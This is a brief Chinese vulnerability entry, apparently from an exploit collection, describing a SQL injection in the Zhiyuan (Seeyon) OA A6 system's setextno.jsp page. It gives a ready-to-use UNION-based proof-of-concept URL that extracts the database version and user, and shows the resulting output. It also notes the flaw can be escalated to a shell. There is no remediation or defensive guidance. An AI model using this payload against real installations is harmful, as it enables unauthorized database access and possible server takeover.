致远OA A6 setextno.jsp sql注入漏洞
==================================

一、漏洞简介
------------

用友致远A6协同系统SQL注入，union可shell

二、漏洞影响
------------

致远OA A6

三、复现过程
------------

##### 漏洞位置:

    http://www.0-sec.org/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp

##### 漏洞详情:

    版本：A6用友致远A6协同系统SQL注入，union可shell

##### 请求方式:

    Get

##### POC:

    http://www.0-sec.org/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(17) union all select 1,2,@@version,user()%23

##### 回显内容

    5.0.41-community-nt 
    分机号root@localhos